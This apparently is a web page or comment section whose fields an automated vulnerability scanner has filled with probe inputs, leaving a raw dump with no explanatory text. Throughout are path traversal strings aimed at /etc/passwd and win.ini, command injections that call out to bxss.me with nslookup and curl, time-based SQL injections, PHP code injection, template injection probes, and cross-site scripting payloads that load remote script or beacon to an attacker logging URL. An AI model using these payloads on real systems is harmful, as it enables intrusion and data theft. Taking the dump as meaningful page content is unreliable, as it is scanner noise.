Mr. #1

1

555

1Do48oanCNO

1<esi:include src="http://bxss.me/rpb.png"/>

${9999845+9999526}

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

)

../../../../../../../../../../../../../../etc/passwd

!(()&&!|||

echo hadazo$()\ zuyele\nz^xyu||a #' &echo hadazo$()\ zuyele\nz^xyu||a #|" &echo hadazo$()\ zuyele\nz^xyu||a #

^(#$!@#$)(()))******

&echo dbdwfe$()\ ggpltq\nz^xyu||a #' &echo dbdwfe$()\ ggpltq\nz^xyu||a #|" &echo dbdwfe$()\ ggpltq\nz^xyu||a #

Http://bxss.me/t/fit.txt

../../../../../../../../../../../../../../windows/win.ini

1&echo bypqxl$()\ jjlrrh\nz^xyu||a #' &echo bypqxl$()\ jjlrrh\nz^xyu||a #|" &echo bypqxl$()\ jjlrrh\nz^xyu||a #

http://bxss.me/t/fit.txt%3F.jpg

response.write(9686752*9315394)

file:///etc/passwd

|echo nwppfi$()\ amyeov\nz^xyu||a #' |echo nwppfi$()\ amyeov\nz^xyu||a #|" |echo nwppfi$()\ amyeov\nz^xyu||a #

/etc/shells

'+response.write(9686752*9315394)+'

1

1|echo rqfjbq$()\ otbwjq\nz^xyu||a #' |echo rqfjbq$()\ otbwjq\nz^xyu||a #|" |echo rqfjbq$()\ otbwjq\nz^xyu||a #

"+response.write(9686752*9315394)+"

c:/windows/win.ini

../1

(nslookup -q=cname hitfelvmwfeeybf6f2.bxss.me||curl hitfelvmwfeeybf6f2.bxss.me))

bxss.me

$(nslookup -q=cname hitypaxpqstym86744.bxss.me||curl hitypaxpqstym86744.bxss.me)

&nslookup -q=cname hitlwwrmikqasf7f64.bxss.me&'"0&nslookup -q=cname hitlwwrmikqasf7f64.bxss.me&'

1

&(nslookup -q=cname hitetqbekbdskcbb4f.bxss.me||curl hitetqbekbdskcbb4f.bxss.me)&'"0&(nslookup -q=cname hitetqbekbdskcbb4f.bxss.me||curl hitetqbekbdskcbb4f.bxss.me)&'

12345'"'");|]*%00{%0d%0a<%00>%bf%27'

1

HttP://bxss.me/t/xss.html?%00

|(nslookup -q=cname hitedmqnxpztaacd5e.bxss.me||curl hitedmqnxpztaacd5e.bxss.me)

bxss.me/t/xss.html?%00

(nslookup -q=cname hitinfqfpvaoz3dfdb.bxss.me||curl hitinfqfpvaoz3dfdb.bxss.me)

"+"A".concat(70-3).concat(22*4).concat(107).concat(81).concat(99).concat(89)+(require"socket"
Socket.gethostbyname("hitjk"+"puaqbkmd2b367.bxss.me.")[3].to_s)+"

;(nslookup -q=cname hitjtytrllzon9101f.bxss.me||curl hitjtytrllzon9101f.bxss.me)|(nslookup -q=cname hitjtytrllzon9101f.bxss.me||curl hitjtytrllzon9101f.bxss.me)&(nslookup -q=cname hitjtytrllzon9101f.bxss.me||curl hitjtytrllzon9101f.bxss.me)

'+'A'.concat(70-3).concat(22*4).concat(120).concat(81).concat(117).concat(69)+(require'socket'
Socket.gethostbyname('hitdg'+'xuzpgjbpdacd5.bxss.me.')[3].to_s)+'

'"

There is no content yet.

1

-1 OR 2+836-836-1=0+0+0+1 --

-1 OR 2+740-740-1=0+0+0+1

-1' OR 2+639-639-1=0+0+0+1 --

-1' OR 2+182-182-1=0+0+0+1 or 'nKGP963z'='

-1" OR 2+634-634-1=0+0+0+1 --

1*if(now()=sysdate(),sleep(15),0)

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

";print(md5(31337));$a="

'"()

${@print(md5(31337))}

1'&&sleep(27*1000)*byjwgz&&'

${@print(md5(31337))}\

1"&&sleep(27*1000)*vlywsr&&"

'.print(md5(31337)).'

1'||sleep(27*1000)*ugvxns||'

1"||sleep(27*1000)*kbqnjc||"

'.gethostbyname(lc('hitpe'.'mmfeyvjz55ea0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(68).chr(111).chr(79).'

".gethostbyname(lc("hitvb"."zwdogifgb3a1c.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(72).chr(112).chr(90)."

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

1-1; waitfor delay '0:0:15' --

1-1); waitfor delay '0:0:15' --

1-1 waitfor delay '0:0:15' --

1EzS59a2W'; waitfor delay '0:0:15' --

1-1 OR 669=(SELECT 669 FROM PG_SLEEP(15))--

1-1) OR 949=(SELECT 949 FROM PG_SLEEP(15))--

1-1)) OR 971=(SELECT 971 FROM PG_SLEEP(15))--

1IvOO45wS' OR 50=(SELECT 50 FROM PG_SLEEP(15))--

13NVRN2vw') OR 609=(SELECT 609 FROM PG_SLEEP(15))--

1auBcNbLb')) OR 584=(SELECT 584 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@mx25A

1

555

555<esi:include src="http://bxss.me/rpb.png"/>

1C6ecSIMMnO

${9999745+10000055}

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

)

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

!(()&&!|||

Http://bxss.me/t/fit.txt

^(#$!@#$)(()))******

http://bxss.me/t/fit.txt?.jpg

echo ndijte$()\ tcjouf\nz^xyu||a #' &echo ndijte$()\ tcjouf\nz^xyu||a #|" &echo ndijte$()\ tcjouf\nz^xyu||a #

../../../../../../../../../../../../../../etc/passwd

/etc/shells

&echo cfvtsj$()\ duhgsp\nz^xyu||a #' &echo cfvtsj$()\ duhgsp\nz^xyu||a #|" &echo cfvtsj$()\ duhgsp\nz^xyu||a #

../../../../../../../../../../../../../../windows/win.ini

c:/windows/win.ini

555&echo ollwae$()\ rynjey\nz^xyu||a #' &echo ollwae$()\ rynjey\nz^xyu||a #|" &echo ollwae$()\ rynjey\nz^xyu||a #

file:///etc/passwd

bxss.me

555

response.write(9148663*9308981)

|echo oybioh$()\ bbqdcv\nz^xyu||a #' |echo oybioh$()\ bbqdcv\nz^xyu||a #|" |echo oybioh$()\ bbqdcv\nz^xyu||a #

../555

'+response.write(9148663*9308981)+'

HttP://bxss.me/t/xss.html?%00

"+response.write(9148663*9308981)+"

555|echo sdamvn$()\ uspiug\nz^xyu||a #' |echo sdamvn$()\ uspiug\nz^xyu||a #|" |echo sdamvn$()\ uspiug\nz^xyu||a #

12345'"'")

bxss.me/t/xss.html?%00

xfs.bxss.me

(nslookup -q=cname hitnroaimfdss5a891.bxss.me||curl hitnroaimfdss5a891.bxss.me))

comments

'"

"+"A".concat(70-3).concat(22*4).concat(121).concat(79).concat(97).concat(80)+(require"socket"
Socket.gethostbyname("hitil"+"mfrfruvwe1974.bxss.me.")[3].to_s)+"

$(nslookup -q=cname hitokcovpmsar419de.bxss.me||curl hitokcovpmsar419de.bxss.me)

&nslookup -q=cname hitjtqlvkiikm9be88.bxss.me&'"0&nslookup -q=cname hitjtqlvkiikm9be88.bxss.me&'

There is no content yet.

555'"()&%

comments

&(nslookup -q=cname hitovpvgrsgsi8ee9a.bxss.me||curl hitovpvgrsgsi8ee9a.bxss.me)&'"0&(nslookup -q=cname hitovpvgrsgsi8ee9a.bxss.me||curl hitovpvgrsgsi8ee9a.bxss.me)&'

'+'A'.concat(70-3).concat(22*4).concat(101).concat(87).concat(106).concat(66)+(require'socket'
Socket.gethostbyname('hitfx'+'dnrgesroaf5ff.bxss.me.')[3].to_s)+'

comments/.

'.gethostbyname(lc('hitta'.'jmglnitpa9bad.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(80).chr(120).chr(90).'

'

555

".gethostbyname(lc("hitak"."muiwtdgafebf3.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(74).chr(104).chr(88)."

|(nslookup -q=cname hitklkmqifqyf8d82c.bxss.me||curl hitklkmqifqyf8d82c.bxss.me)

"

(nslookup -q=cname hitzynalkwkxq2dea5.bxss.me||curl hitzynalkwkxq2dea5.bxss.me)

${@print(md5(31337))}

'"()&%

555

${@print(md5(31337))}\

555

'.print(md5(31337)).'

'"()

555'&&sleep(27*1000)*hkiffn&&'

555"&&sleep(27*1000)*sefzlk&&"

555'||sleep(27*1000)*qnjzel||'

555"||sleep(27*1000)*daccor||"

5559643487

bfg4171＜s1﹥s2ʺs3ʹhjl4171

bfgx3790

555

-1 OR 2+427-427-1=0+0+0+1 --

-1 OR 2+189-189-1=0+0+0+1

-1' OR 2+817-817-1=0+0+0+1 --

-1' OR 2+954-954-1=0+0+0+1 or 'lH1Vyn3E'='

-1" OR 2+468-468-1=0+0+0+1 --

<%={{={@{#{${dfb}}%>

555

<th:t="${dfb}#foreach

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555*if(now()=sysdate(),sleep(15),0)

555

dfb{{98991*97996}}xca

dfb${98991*97996}xca

dfb__${98991*97996}__::.x

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

bfg6593＜s1﹥s2ʺs3ʹhjl6593

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

bfgx7595

<%={{={@{#{${dfb}}%>

555

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

<th:t="${dfb}#foreach

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

555-1

dfb{{98991*97996}}xca

dfb${98991*97996}xca

dfb__${98991*97996}__::.x

555-1)

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555SFDKS[!+!]

555-1 waitfor delay '0:0:15' --

555

5559315

555<ScR

555<ScRiPt

fxim(9263)

555V8wEHwnQ'

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9850>

555<ScRiPt

fxim(9606)

555<svg

555

555-1 OR 644=(SELECT 644 FROM PG_SLEEP(15))--

555<iframe src='data:text/html

555

555-1) OR 459=(SELECT 459 FROM PG_SLEEP(15))--

555

555<img/src=">" onerror=alert(9249)>

555-1)) OR 178=(SELECT 178 FROM PG_SLEEP(15))--

%35%35%35%3C%53%63%52%69%50%74%20%3E%66%78%69%6D%289079%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\fxim(9482)\u003C/sCripT\u003E

555OVU3chUd' OR 180=(SELECT 180 FROM PG_SLEEP(15))--

555&lt

There is no content yet.

555

555yMaveDdv') OR 593=(SELECT 593 FROM PG_SLEEP(15))--

<A HrEF=javascript:fxim(9208)

555R16eLbRn')) OR 484=(SELECT 484 FROM PG_SLEEP(15))--

There is no content yet.

<A HreF= javascript&colon

<A HreF= javascript&#x3A

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

<A HreF= j&#x61

There is no content yet.

<a hREF=feed:javascript&colon

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555'"

555

@@SJzzD

555}body{zzz:Expre/**/SSion(fxim(9185))}

5558UEx9

555XXH6J[!+!]

555

555<img sRc='http://attacker-9425/log.php?

555<asfplo4<

555'"()&%

1'"()&%

'"()&%

~~~~``

[![](

Column 1	Column 2	Column 3
Text	Text	Text

https://)](https://)

5559240676

19582965

~~~~``

[![](

Column 1	Column 2	Column 3
Text	Text	Text

https://)](https://)

bfg4786＜s1﹥s2ʺs3ʹhjl4786

bfg1814%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl1814

bfgx3119

bfgx10422%C0%BEz1%C0%BCz2a%90bcxhjl10422

<%={{={@{#{${dfb}}%>

555

1

<th:t="${dfb}#foreach

555

1

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

1

dfb{{98991*97996}}xca

dfb${98991*97996}xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

bfg2467＜s1﹥s2ʺs3ʹhjl2467

bfg4584%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl4584

bfgx7441

bfgx5834%C0%BEz1%C0%BCz2a%90bcxhjl5834

<%={{={@{#{${dfb}}%>

1

555

<th:t="${dfb}#foreach

555

1

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

Mr. #1

~~~~``

~~~~``